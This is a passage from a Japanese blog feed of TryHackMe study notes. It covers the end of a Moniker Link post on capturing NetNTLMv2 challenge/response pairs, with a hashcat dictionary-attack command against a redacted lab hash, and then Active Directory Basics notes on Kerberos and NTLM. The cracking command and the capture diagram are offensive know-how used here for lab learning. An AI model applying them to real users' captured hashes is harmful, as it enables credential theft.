<p>NTLM認証はチャレンジ／レスポンス方式で行われ、パスワードそのものは送信されない。<br>そのため、「ハッシュを取られても意味がないのでは？」と疑問に思った。<br>調べてみると、ハッシュが窃取されると次の攻撃に繋がるため危険だということが分かった。<br><br>例えば、<br>取得したハッシュ値をオフラインで解析（クラック）できる。<br>（オフラインで行うため検知されず、何度でも試行可能。）<br><br>また、受け取った認証情報を他のサービスへの認証にそのまま使える条件が揃えば、<br>リレー攻撃（Relay Attack<strong>）</strong>によって権限を横展開できる。<br><br>このようにハッシュの窃取自体が次の侵入の足掛かりになるため、危険性が高い。</p>



<h3 class="wp-block-heading">ハッシュではなくレスポンスが窃取されるのではないか</h3>



<p>「NTLM認証はレスポンスを返すので、レスポンスが窃取されるのであって、ハッシュは取られないのでは？」と疑問に思った。調べてみると表現の問題だったようで、正確にはチャレンジ（server_challenge）とレスポンス（response）がセットで窃取されているとのこと。</p>



<p>シーケンス図</p>



<pre class="wp-block-code"><code>ユーザー端末 (Client)            サーバ (Server)            攻撃者 (Attacker)
-------------------            -------------            ------------------
1. Negotiate -----------------&gt;                              （認証方式の提案）
                               2. ServerChallenge ----------&gt; （チャレンジ送信）
&lt;-- (Challenge) -------------  

3. Client: 内部計算
   - NTLMv2_hash = HMAC_MD5( NTLM_hash(PW), User+Domain )
   - ClientBlob = {timestamp, client_challenge, ...}
   - NTLMv2_response = HMAC_MD5( NTLMv2_hash, ServerChallenge ∥ ClientBlob )
                             
4. Client --------------------&gt; Server
   （NTLMv2_response ＋ ClientBlob を送信）
                            ↑
                            |  （同じレスポンスを攻撃者が待ち受けて受信可能）
                            |  攻撃者は名前解決/SMB等でこのやり取りを誘発・傍受
                            v
   Attacker captures: {<strong>ServerChallenge</strong>, <strong>NTLMv2_response</strong>, ClientBlob, Username, Domain, ClientIP}</code></pre>



<h2 class="wp-block-heading">おまけ</h2>



<p>窃取した netNTLMv2 ハッシュを rockyou.txt で辞書攻撃してみたが、パスワードは見つからなかった。</p>



<pre class="wp-block-code"><code># hashcat で辞書攻撃
$ hashcat -m 5600 -a 0 hashcat_test /usr/share/wordlists/rockyou.txt

# マスク済み出力（抜粋）
hashcat (v6.2.6) starting

Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 5600 (NetNTLMv2)
Hash.Target......: TRYHACKME::&lt;REDACTED_HASH>
Time.Started.....: Tue Oct  7 21:22:25 2025 (6 secs)
Speed.#1.........:  2317.3 kH/s
Recovered........: 0/1 (0.00%)
Progress.........: 14344385/14344385 (100.00%)

# 結果確認（回復済みパスワードの表示）
$ hashcat -m 5600 --show hashcat_test
# （出力が何もなければ、辞書で回復できていないことを意味する）</code></pre>


<ol class="wp-block-footnotes"><li id="3ec11f9f-9082-459c-9d59-55eeb29ec4bb">Microsoft が開発した Windows 上で動く部品（コンポーネント）同士をやり取りさせるための仕組み。 <a href="#3ec11f9f-9082-459c-9d59-55eeb29ec4bb-link" aria-label="脚注参照1にジャンプ">↩︎</a></li><li id="a99e74d6-1d5a-401c-b20b-6553246d547e">ネットワーク上の名前解決プロトコルを悪用して偽の応答を返し、資格情報（NTLM ハッシュ等）を収集するオープンソースのツール。 <a href="#a99e74d6-1d5a-401c-b20b-6553246d547e-link" aria-label="脚注参照2にジャンプ">↩︎</a></li><li id="1f0c2584-3f13-40b2-8901-c42c0e49bb1e">マルウェアや攻撃の痕跡（IoC：Indicator of Compromise）を検出するためのパターンマッチ用ルール言語。 <a href="#1f0c2584-3f13-40b2-8901-c42c0e49bb1e-link" aria-label="脚注参照3にジャンプ">↩︎</a></li></ol>]]></content:encoded>
					
					<wfw:commentRss>https://cybermemo.blog/tryhackme-moniker-link-cve-2024-21413/feed</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>TryHackMe Active Directory Basics — 学習メモ</title>
		<link>https://cybermemo.blog/tryhackme-active-directory-basics</link>
					<comments>https://cybermemo.blog/tryhackme-active-directory-basics#respond</comments>
		
		<dc:creator><![CDATA[miyuki]]></dc:creator>
		<pubDate>Sun, 05 Oct 2025 08:11:46 +0000</pubDate>
				<category><![CDATA[TryHackMe]]></category>
		<category><![CDATA[セキュリティ]]></category>
		<category><![CDATA[Active Directory]]></category>
		<category><![CDATA[Windows]]></category>
		<category><![CDATA[システム管理]]></category>
		<guid isPermaLink="false">https://cybermemo.blog/?p=329</guid>

					<description><![CDATA[<p><img src="https://cybermemo.blog/wp-content/uploads/2025/09/TryHackMe用アイキャッチ.png" class="webfeedsFeaturedVisual" /></p>はじめに Active Directory Basics の備忘録。本記事は学習記録です。演習環境のターゲット名・IP・フラグは公開していません。 Active Directoryの基礎 Active Directory [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><img src="https://cybermemo.blog/wp-content/uploads/2025/09/TryHackMe用アイキャッチ.png" class="webfeedsFeaturedVisual" /></p>
<h2 class="wp-block-heading">はじめに</h2>



<p>Active Directory Basics の備忘録。<br>本記事は学習記録です。演習環境のターゲット名・IP・フラグは公開していません。</p>


<div class="swell-block-postLink">			<div class="p-blogCard -external" data-type="type3" data-onclick="clickLink">
				<div class="p-blogCard__inner">
					<span class="p-blogCard__caption">TryHackMe</span>
					<div class="p-blogCard__thumb c-postThumb"><figure class="c-postThumb__figure"><img decoding="async" src="https://tryhackme-images.s3.amazonaws.com/room-icons/66704dd0e54a1f39bff7b1a1-1735574588674" alt="" class="c-postThumb__img u-obf-cover" width="320" height="180"></figure></div>					<div class="p-blogCard__body">
						<a class="p-blogCard__title" href="https://tryhackme.com/room/winadbasics" target="_blank" rel="noopener noreferrer">Active Directory Basics</a>
						<span class="p-blogCard__excerpt">This room will introduce the basic concepts and functionality provided by Active Directory.</span>					</div>
				</div>
			</div>
		</div>


<h2 class="wp-block-heading">Active Directoryの基礎</h2>



<h3 class="wp-block-heading">Active Directory<strong>とは</strong></h3>



<p>Active Directory は企業や組織のユーザーやパソコンをまとめて管理するサービス。</p>



<h4 class="wp-block-heading">何ができるか</h4>



<p><strong>住所録の役割</strong><br>・社員（ユーザー）<br>・パソコンやサーバー（コンピューター）<br>・プリンタなどの機器<br>これらを「誰が」「どこに」「どういう権限で」存在するのか、まとめて記録。</p>



<p><strong>鍵の役割</strong><br>・社員が会社のパソコンにログインするとき<br>・社員が社内のファイルサーバーにアクセスするとき<br>IDとパスワードをチェックし、その人が使えるものだけ使わせるように制御。</p>



<h4 class="wp-block-heading">Active Directory の主な機能</h4>



<p>ユーザー管理：社員アカウントを一元管理<br>コンピューター管理：PCやサーバーをまとめて管理<br>認証（ログインチェック）：誰が正しいユーザーか確認<br>権限付与（アクセス制御）：どこまで操作できるか決定<br>ポリシー配布（GPO）：全社PCに一括でルール設定（例：パスワードは10文字以上）</p>



<h3 class="wp-block-heading">Windowsドメインとは</h3>



<p>組織全体のPCとユーザーをまとめたグループ。</p>



<h4 class="wp-block-heading">ドメインコントローラー（DC）</h4>



<p>ドメインの中心にいるのが ドメインコントローラー (Domain Controller, DC)。<br>これは Active Directory が入った Windows サーバーで、以下の役割がある。<br><br>誰がログインできるか認証する<br>ユーザーやPCの情報を記録する<br>セキュリティポリシーを配布する</p>



<h4 class="wp-block-heading">ドメインに参加するとどうなるか</h4>



<p>会社のPCを「ドメインに参加」させると、<br>そのPCはドメインコントローラーのルールに従うようになる。<br><br>社員がどのPCからログインしても、同じIDとパスワードで入れる<br>営業部の人だけ営業フォルダを見れる、といった権限管理ができる<br>パスワードの長さやWindows Updateの設定を一括で適用できる</p>



<h3 class="wp-block-heading">Active Directory のオブジェクト</h3>



<p>Active Directory の世界ではネットワーク上に存在するものはすべて「オブジェクト」 として管理される。</p>



<h4 class="wp-block-heading"><strong>代表的なオブジェクト</strong></h4>



<p>ユーザー (User)<br>社員や管理者など人を表すオブジェクト<br>ユーザーはセキュリティプリンシパル（認証され、権限を持てるオブジェクト）<br>ユーザーは2種類に分けられる<br>People：社員など、人間がログインするためのユーザー<br>Services：サービス（IIS、MSSQL など）を動かすために使うユーザー</p>



<p>コンピュータ (Computer)<br>ドメインに参加したPCやサーバーを表すオブジェクト<br>例：PC01$ のように末尾に「$」が付く<br>OS自身が使うアカウントで、人間が直接ログインすることは想定されていない</p>



<p>セキュリティグループ (Security Groups)<br>複数のユーザーやコンピュータをまとめて管理する入れ物<br>1人ずつ権限を与えるよりグループ単位でアクセス制御する方が効率的</p>



<p>OU（組織単位：Organizational Unit）<br>部署やチームごとにユーザーやコンピュータをまとめる入れ物<br>例：「IT部門」「営業部門」など<br>OUにポリシーを適用すると所属するユーザーやPCに自動で反映される</p>



<h4 class="wp-block-heading">セキュリティグループ (Security Groups)</h4>



<p>アクセス権限をまとめて管理するためのグループ。</p>



<p><strong>代表的なデフォルトセキュリティグループ</strong></p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>グループ名</th><th>役割</th></tr></thead><tbody><tr><td><strong>Domain Admins</strong></td><td>ドメイン全体の管理者。DCを含めて何でもできる最強権限</td></tr><tr><td><strong>Enterprise Admins</strong></td><td>フォレスト全体を管理できる。複数ドメイン環境で使う</td></tr><tr><td><strong>Server Operators</strong></td><td>DCの管理が可能。ただしグループ管理は不可</td></tr><tr><td><strong>Backup Operators</strong></td><td>ファイルの権限に関係なくバックアップが取れる</td></tr><tr><td><strong>Account Operators</strong></td><td>ユーザーやグループの作成・管理が可能</td></tr><tr><td><strong>Domain Users</strong></td><td>すべての通常ユーザーが所属。デフォルトでログオン可能</td></tr><tr><td><strong>Domain Computers</strong></td><td>ドメインに参加したすべてのコンピュータ</td></tr><tr><td><strong>Domain Controllers</strong></td><td>DCだけが入るグループ</td></tr></tbody></table></figure>



<h3 class="wp-block-heading">GPO（Group Policy Object）とは</h3>



<p>Windowsドメイン環境でユーザーやコンピュータに対して一括で設定を配布する仕組み。</p>



<h4 class="wp-block-heading">何ができるか</h4>



<p>セキュリティ系<br>パスワードポリシー（長さ・複雑さ・有効期限など）<br>アカウントロックアウトの回数制限<br>Windows Updateの自動適用<br><br>ユーザー環境系<br>デスクトップの壁紙を会社のロゴに固定<br>コントロールパネルの使用禁止<br>特定のアプリケーション起動を制御</p>



<p>コンピュータ設定系<br>共有フォルダの自動マウント<br>スクリーンセーバーや自動ロックの設定<br>ファイアウォールやサービスの動作ルール</p>



<h4 class="wp-block-heading">GPOの適用対象</h4>



<p>GPOは「どこにリンクするか」で適用対象が決まる。<br><br>ドメイン全体（例：すべてのユーザーにパスワードポリシーを適用）<br>OU単位（例：営業部PCだけUSBメモリを禁止）<br>サブOUも継承（OUにリンクしたら、その下のOUにも適用される）</p>



<h4 class="wp-block-heading">仕組み</h4>



<p>1.管理者が GPMC（Group Policy Management Console） でGPOを作成<br>2.そのGPOをOUやドメインにリンクする<br>3.ドメインに参加しているユーザーやPCが定期的にGPOを取得（gpupdate）<br>4.自動的に設定が適用される</p>



<p>配布される仕組みは SYSVOL 共有フォルダ（ドメインコントローラ上）を通じて行われる。</p>



<h3 class="wp-block-heading">認証方法</h3>



<h4 class="wp-block-heading">Kerberos認証</h4>



<p>Active DirectoryでユーザーがログオンするときWindowsは内部で「Kerberos（ケルベロス）認証」という仕組みを使っている。</p>



<p><strong>Kerberosとは</strong></p>



<p>Kerberosはネットワーク上で「安全に」「何度もパスワードを送らずに」認証を行うためのプロトコル。<br>Windowsドメインでは標準の認証方式として使われている。<br><br>例えば、会社のパソコンで一度ログインした後、ファイルサーバーやプリンタ、社内サイトにアクセスしても再びパスワードを入力する必要がないのはこのKerberosが動いているから。</p>



<p><strong>Kerberosの仕組み</strong></p>



<p class="is-style-bg_stripe">用語</p>



<p>Client（クライアント）：ユーザーが操作するPC<br>KDC（Key Distribution Center）：認証の中心となる仕組み。ドメインコントローラー（DC）上で動作<br>Service（サーバー）：ファイル共有やデータベースなどの利用したいリソース<br>TGT（Ticket Granting Ticket）：サービス用チケットをもらうためのチケット<br>TGS（Ticket Granting Service Ticket）：実際にサービスへアクセスするためのチケット</p>



<p class="is-style-bg_stripe">仕組み</p>



<p class="is-style-sticky_box">Step 1：TGT（チケット発行チケット）をもらう</p>



<p>ユーザーはまず「ユーザー名」と「タイムスタンプ（時刻情報）」を自分のパスワードから作られた鍵で暗号化してKDCに送る。これが「TGTをください」というリクエスト。<br><br>KDC（ドメインコントローラー）はユーザー情報を確認し、<br>TGT（Ticket Granting Ticket）<br>セッションキー（Session Key）<br>をユーザーに返す。</p>



<p class="is-style-big_icon_point">TGTは「krbtgt」という特別なアカウントのパスワードハッシュで暗号化されており、<br>ユーザー自身は中身を確認できない。</p>



<p class="is-style-sticky_box">Step 2：TGS（サービス用チケット）をもらう</p>



<p>次にユーザーが特定のサービス（例えば「ファイル共有サーバー」や「MSSQL」）を使いたいとき、<br>手に入れたTGTを使ってKDCにリクエスト。<br><br>リクエストには以下が含まれる：<br>ユーザー名とタイムスタンプ（セッションキーで暗号化）<br>取得済みのTGT<br>SPN（Service Principal Name：接続したいサービス名）<br><br>KDCはそれを受け取り、<br>TGS（サービスチケット）<br>サービスセッションキー（Svc Session Key）<br>を発行して返す。</p>



<p class="is-style-big_icon_point">TGSはそのサービスの「所有者アカウント（Service Owner）」のハッシュで暗号化されており、<br>サービスだけが中身を復号できる。</p>



<p class="is-style-sticky_box">Step 3：サービスへのアクセス</p>



<p>最後にユーザーは受け取ったTGSを使ってサービスに接続。<br>サービスは自分の「Service Owner Hash」でTGSを復号し、ユーザーを認証。<br><br>これによりパスワードを再送することなく、安全にサービスを利用可能。</p>



<p class="is-style-sticky_box">要約</p>


<div class="swell-block-balloon"><div class="c-balloon -bln-left" data-col="blue"><div class="c-balloon__icon -square"><img decoding="async" src="data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" data-src="https://cybermemo.blog/wp-content/uploads/2025/10/client.png" alt="" class="lazyload c-balloon__iconImg" width="80px" height="80px"><noscript><img decoding="async" src="https://cybermemo.blog/wp-content/uploads/2025/10/client.png" alt="" class="c-balloon__iconImg" width="80px" height="80px"></noscript><span class="c-balloon__iconName">Client</span></div><div class="c-balloon__body -speaking -border-none"><div class="c-balloon__text">
<p>KDCさん、私は <em>Username + Timestamp</em> を自分のパスワード鍵で暗号化して送ります。身分証（TGT）をください！</p>
<span class="c-balloon__shapes"><span class="c-balloon__before"></span><span class="c-balloon__after"></span></span></div></div></div></div>

<div class="swell-block-balloon"><div class="c-balloon -bln-right" data-col="green"><div class="c-balloon__icon -square"><img decoding="async" src="data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" data-src="https://cybermemo.blog/wp-content/uploads/2025/10/KDC-1.png" alt="" class="lazyload c-balloon__iconImg" width="80px" height="80px"><noscript><img decoding="async" src="https://cybermemo.blog/wp-content/uploads/2025/10/KDC-1.png" alt="" class="c-balloon__iconImg" width="80px" height="80px"></noscript><span class="c-balloon__iconName">KDC</span></div><div class="c-balloon__body -speaking -border-none"><div class="c-balloon__text">
<p>確認できました。これは TGT と Session Key です。TGT は krbtgt のハッシュ で暗号化してありますよ。</p>
<span class="c-balloon__shapes"><span class="c-balloon__before"></span><span class="c-balloon__after"></span></span></div></div></div></div>

<div class="swell-block-balloon"><div class="c-balloon -bln-left" data-col="blue"><div class="c-balloon__icon -square"><img decoding="async" src="data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" data-src="https://cybermemo.blog/wp-content/uploads/2025/10/client.png" alt="" class="lazyload c-balloon__iconImg" width="80px" height="80px"><noscript><img decoding="async" src="https://cybermemo.blog/wp-content/uploads/2025/10/client.png" alt="" class="c-balloon__iconImg" width="80px" height="80px"></noscript><span class="c-balloon__iconName">Client</span></div><div class="c-balloon__body -speaking -border-none"><div class="c-balloon__text">
<p>今度は SPN=MSSQL/SRV に接続したいです。TGT と Session Key を使って TGS をお願いします！</p>
<span class="c-balloon__shapes"><span class="c-balloon__before"></span><span class="c-balloon__after"></span></span></div></div></div></div>

<div class="swell-block-balloon"><div class="c-balloon -bln-right" data-col="green"><div class="c-balloon__icon -square"><img decoding="async" src="data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" data-src="https://cybermemo.blog/wp-content/uploads/2025/10/KDC-1.png" alt="" class="lazyload c-balloon__iconImg" width="80px" height="80px"><noscript><img decoding="async" src="https://cybermemo.blog/wp-content/uploads/2025/10/KDC-1.png" alt="" class="c-balloon__iconImg" width="80px" height="80px"></noscript><span class="c-balloon__iconName">KDC</span></div><div class="c-balloon__body -speaking -border-none"><div class="c-balloon__text">
<p>了解。これは TGS と Service Session Key。TGS はサービス所有者のハッシュで暗号化済みです。</p>
<span class="c-balloon__shapes"><span class="c-balloon__before"></span><span class="c-balloon__after"></span></span></div></div></div></div>

<div class="swell-block-balloon"><div class="c-balloon -bln-left" data-col="blue"><div class="c-balloon__icon -square"><img decoding="async" src="data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" data-src="https://cybermemo.blog/wp-content/uploads/2025/10/client.png" alt="" class="lazyload c-balloon__iconImg" width="80px" height="80px"><noscript><img decoding="async" src="https://cybermemo.blog/wp-content/uploads/2025/10/client.png" alt="" class="c-balloon__iconImg" width="80px" height="80px"></noscript><span class="c-balloon__iconName">Client</span></div><div class="c-balloon__body -speaking -border-none"><div class="c-balloon__text">
<p>サーバさん、これが TGS とタイムスタンプです。</p>
<span class="c-balloon__shapes"><span class="c-balloon__before"></span><span class="c-balloon__after"></span></span></div></div></div></div>

<div class="swell-block-balloon"><div class="c-balloon -bln-right" data-col="yellow"><div class="c-balloon__icon -square"><img decoding="async" src="data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" data-src="https://cybermemo.blog/wp-content/uploads/2025/10/server.png" alt="" class="lazyload c-balloon__iconImg" width="80px" height="80px"><noscript><img decoding="async" src="https://cybermemo.blog/wp-content/uploads/2025/10/server.png" alt="" class="c-balloon__iconImg" width="80px" height="80px"></noscript><span class="c-balloon__iconName">Service（サーバー）</span></div><div class="c-balloon__body -speaking -border-none"><div class="c-balloon__text">
<p>TGS を私のハッシュで復号…OK！認証成功。どうぞ接続してください。</p>
<span class="c-balloon__shapes"><span class="c-balloon__before"></span><span class="c-balloon__after"></span></span></div></div></div></div>


<p class="is-style-sticky_box">遊園地に例えてみると</p>


<div class="swell-block-balloon"><div class="c-balloon -bln-left" data-col="blue"><div class="c-balloon__icon -square"><img decoding="async" src="data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" data-src="https://cybermemo.blog/wp-content/uploads/2025/10/遊園地_client.png" alt="" class="lazyload c-balloon__iconImg" width="80px" height="80px"><noscript><img decoding="async" src="https://cybermemo.blog/wp-content/uploads/2025/10/遊園地_client.png" alt="" class="c-balloon__iconImg" width="80px" height="80px"></noscript><span class="c-balloon__iconName">Client</span></div><div class="c-balloon__body -speaking -border-none"><div class="c-balloon__text">
<p>こんにちは！この遊園地に入りたいので、チケットをください。</p>
<span class="c-balloon__shapes"><span class="c-balloon__before"></span><span class="c-balloon__after"></span></span></div></div></div></div>

<div class="swell-block-balloon"><div class="c-balloon -bln-right" data-col="green"><div class="c-balloon__icon -square"><img decoding="async" src="data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" data-src="https://cybermemo.blog/wp-content/uploads/2025/10/遊園地_KDC.png" alt="" class="lazyload c-balloon__iconImg" width="80px" height="80px"><noscript><img decoding="async" src="https://cybermemo.blog/wp-content/uploads/2025/10/遊園地_KDC.png" alt="" class="c-balloon__iconImg" width="80px" height="80px"></noscript><span class="c-balloon__iconName">KDC</span></div><div class="c-balloon__body -speaking -border-none"><div class="c-balloon__text">
<p>いらっしゃいませ。身分証を確認しますね。……はい、問題なし！<br>こちらがあなたのフリーパス（TGT）です。<br>これを持っていれば、もう一度身分証を見せる必要はありませんよ。</p>
<span class="c-balloon__shapes"><span class="c-balloon__before"></span><span class="c-balloon__after"></span></span></div></div></div></div>

<div class="swell-block-balloon"><div class="c-balloon -bln-left" data-col="blue"><div class="c-balloon__icon -square"><img decoding="async" src="data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" data-src="https://cybermemo.blog/wp-content/uploads/2025/10/遊園地_client.png" alt="" class="lazyload c-balloon__iconImg" width="80px" height="80px"><noscript><img decoding="async" src="https://cybermemo.blog/wp-content/uploads/2025/10/遊園地_client.png" alt="" class="c-balloon__iconImg" width="80px" height="80px"></noscript><span class="c-balloon__iconName">Client</span></div><div class="c-balloon__body -speaking -border-none"><div class="c-balloon__text">
<p>ジェットコースターに乗りたいんですけど、このTGTで乗れますか？</p>
<span class="c-balloon__shapes"><span class="c-balloon__before"></span><span class="c-balloon__after"></span></span></div></div></div></div>

<div class="swell-block-balloon"><div class="c-balloon -bln-right" data-col="green"><div class="c-balloon__icon -square"><img decoding="async" src="data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" data-src="https://cybermemo.blog/wp-content/uploads/2025/10/遊園地_KDC.png" alt="" class="lazyload c-balloon__iconImg" width="80px" height="80px"><noscript><img decoding="async" src="https://cybermemo.blog/wp-content/uploads/2025/10/遊園地_KDC.png" alt="" class="c-balloon__iconImg" width="80px" height="80px"></noscript><span class="c-balloon__iconName">KDC</span></div><div class="c-balloon__body -speaking -border-none"><div class="c-balloon__text">
<p>ジェットコースター専用のチケット（TGS）が必要です。<br>あなたのTGTを確認しました、はい、これが TGS（サービスチケット） です！</p>
<span class="c-balloon__shapes"><span class="c-balloon__before"></span><span class="c-balloon__after"></span></span></div></div></div></div>

<div class="swell-block-balloon"><div class="c-balloon -bln-left" data-col="blue"><div class="c-balloon__icon -square"><img decoding="async" src="data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" data-src="https://cybermemo.blog/wp-content/uploads/2025/10/遊園地_client.png" alt="" class="lazyload c-balloon__iconImg" width="80px" height="80px"><noscript><img decoding="async" src="https://cybermemo.blog/wp-content/uploads/2025/10/遊園地_client.png" alt="" class="c-balloon__iconImg" width="80px" height="80px"></noscript><span class="c-balloon__iconName">Client</span></div><div class="c-balloon__body -speaking -border-none"><div class="c-balloon__text">
<p>ジェットコースターのチケットを持ってきました。入ってもいいですか？</p>
<span class="c-balloon__shapes"><span class="c-balloon__before"></span><span class="c-balloon__after"></span></span></div></div></div></div>

<div class="swell-block-balloon"><div class="c-balloon -bln-right" data-col="yellow"><div class="c-balloon__icon -square"><img decoding="async" src="data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" data-src="https://cybermemo.blog/wp-content/uploads/2025/10/遊園地_server.png" alt="" class="lazyload c-balloon__iconImg" width="80px" height="80px"><noscript><img decoding="async" src="https://cybermemo.blog/wp-content/uploads/2025/10/遊園地_server.png" alt="" class="c-balloon__iconImg" width="80px" height="80px"></noscript><span class="c-balloon__iconName">Service（サーバー）</span></div><div class="c-balloon__body -speaking -border-none"><div class="c-balloon__text">
<p>TGSを確認しますね……OK！あなたは正規のチケットを持っています。<br>どうぞ乗車をお楽しみください！</p>
<span class="c-balloon__shapes"><span class="c-balloon__before"></span><span class="c-balloon__after"></span></span></div></div></div></div>


<h4 class="wp-block-heading">NTLM認証</h4>



<p>Windowsで使われる認証プロトコル（認証の仕組み）のひとつで特に古いバージョンのWindowsネットワークやファイル共有（SMB）などで利用されることがある。</p>



<p><strong>NTLMとは</strong></p>



<p>Microsoftが開発したWindows専用の認証プロトコル。<br>主にWindows NT時代（1990年代）に登場し、Active Directoryが登場する前に使われていた。<br><br>今でも以下のような場面ではNTLMが動いていることがある。<br>ドメイン外のPCが共有フォルダにアクセスする場合<br>Kerberosが利用できない古いシステムやアプリ<br>ローカル認証や一部のリモート接続（RDP）など。</p>



<p><strong>仕組み</strong></p>



<p class="is-style-sticky_box">Step 1：認証要求（Authentication Request）</p>



<p>クライアント（ユーザー）はサーバーに対して「ログインしたい」というリクエストを送る。<br>この時点では、まだパスワードやハッシュは送られない。</p>



<p class="is-style-sticky_box">Step 2：サーバーからチャレンジ（Challenge）</p>



<p>サーバーはクライアントに対して、ランダムな値（チャレンジ）を送る。<br>この値は毎回異なり、使い回し（リプレイ攻撃）を防ぐためのもの。</p>



<p class="is-style-sticky_box">Step 3：レスポンスの生成と送信（NTLM Response）</p>



<p>クライアントは自分のパスワードから生成したNTLMハッシュ（NTLM Hash）を使って、<br>サーバーから受け取ったチャレンジを暗号化。</p>



<p class="is-style-sticky_box">Step 4：サーバー→ドメインコントローラーへ送信</p>



<p>サーバーは受け取ったチャレンジとレスポンスをドメインコントローラー（DC）に転送。<br>実際のパスワード情報はDCが保持しているため、サーバー自身では判定できない。</p>



<p class="is-style-sticky_box">Step 5：ドメインコントローラーで検証</p>



<p>DCは保存してあるユーザーのNTLMハッシュを使い同じチャレンジを自分でも暗号化。<br>生成されたレスポンスがクライアントの送ったものと一致すれば認証成功。</p>



<p class="is-style-sticky_box">Step 6：認証結果をサーバーに返す</p>



<p>DCは認証結果（成功または失敗）をサーバーに返し、<br>サーバーはその結果に応じてクライアントのアクセスを許可または拒否。</p>



<p class="is-style-sticky_box">要約</p>


<div class="swell-block-balloon"><div class="c-balloon -bln-left" data-col="blue"><div class="c-balloon__icon -square"><img decoding="async" src="data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" data-src="https://cybermemo.blog/wp-content/uploads/2025/10/client.png" alt="" class="lazyload c-balloon__iconImg" width="80px" height="80px"><noscript><img decoding="async" src="https://cybermemo.blog/wp-content/uploads/2025/10/client.png" alt="" class="c-balloon__iconImg" width="80px" height="80px"></noscript><span class="c-balloon__iconName">Client</span></div><div class="c-balloon__body -speaking -border-none"><div class="c-balloon__text">
<p>サーバーさん、ログインしたいです！認証をお願いします！</p>
<span class="c-balloon__shapes"><span class="c-balloon__before"></span><span class="c-balloon__after"></span></span></div></div></div></div>

<div class="swell-block-balloon"><div class="c-balloon -bln-right" data-col="yellow"><div class="c-balloon__icon -square"><img decoding="async" src="data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" data-src="https://cybermemo.blog/wp-content/uploads/2025/10/server.png" alt="" class="lazyload c-balloon__iconImg" width="80px" height="80px"><noscript><img decoding="async" src="https://cybermemo.blog/wp-content/uploads/2025/10/server.png" alt="" class="c-balloon__iconImg" width="80px" height="80px"></noscript><span class="c-balloon__iconName">Server</span></div><div class="c-balloon__body -speaking -border-none"><div class="c-balloon__text">
<p>了解しました。それではこちらのチャレンジ（Challenge）をお渡しします。<br>この値を正しく処理して返してください。</p>
<span class="c-balloon__shapes"><span class="c-balloon__before"></span><span class="c-balloon__after"></span></span></div></div></div></div>

<div class="swell-block-balloon"><div class="c-balloon -bln-left" data-col="blue"><div class="c-balloon__icon -square"><img decoding="async" src="data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" data-src="https://cybermemo.blog/wp-content/uploads/2025/10/client.png" alt="" class="lazyload c-balloon__iconImg" width="80px" height="80px"><noscript><img decoding="async" src="https://cybermemo.blog/wp-content/uploads/2025/10/client.png" alt="" class="c-balloon__iconImg" width="80px" height="80px"></noscript><span class="c-balloon__iconName">Client</span></div><div class="c-balloon__body -speaking -border-none"><div class="c-balloon__text">
<p>分かりました。<br>自分のパスワードから作られたNTLMハッシュを使って、<br>このチャレンジを暗号化します！</p>
<span class="c-balloon__shapes"><span class="c-balloon__before"></span><span class="c-balloon__after"></span></span></div></div></div></div>

<div class="swell-block-balloon"><div class="c-balloon -bln-left" data-col="blue"><div class="c-balloon__icon -square"><img decoding="async" src="data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" data-src="https://cybermemo.blog/wp-content/uploads/2025/10/client.png" alt="" class="lazyload c-balloon__iconImg" width="80px" height="80px"><noscript><img decoding="async" src="https://cybermemo.blog/wp-content/uploads/2025/10/client.png" alt="" class="c-balloon__iconImg" width="80px" height="80px"></noscript><span class="c-balloon__iconName">Client</span></div><div class="c-balloon__body -thinking -border-none"><div class="c-balloon__text">
<p>Challenge ＋ NTLM Hash → Responseを作って&#8230;</p>
<span class="c-balloon__shapes"><span class="c-balloon__before"></span><span class="c-balloon__after"></span></span></div></div></div></div>

<div class="swell-block-balloon"><div class="c-balloon -bln-left" data-col="blue"><div class="c-balloon__icon -square"><img decoding="async" src="data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" data-src="https://cybermemo.blog/wp-content/uploads/2025/10/client.png" alt="" class="lazyload c-balloon__iconImg" width="80px" height="80px"><noscript><img decoding="async" src="https://cybermemo.blog/wp-content/uploads/2025/10/client.png" alt="" class="c-balloon__iconImg" width="80px" height="80px"></noscript><span class="c-balloon__iconName">Client</span></div><div class="c-balloon__body -speaking -border-none"><div class="c-balloon__text">
<p>できました！これが私のレスポンス（Response）です！</p>
<span class="c-balloon__shapes"><span class="c-balloon__before"></span><span class="c-balloon__after"></span></span></div></div></div></div>

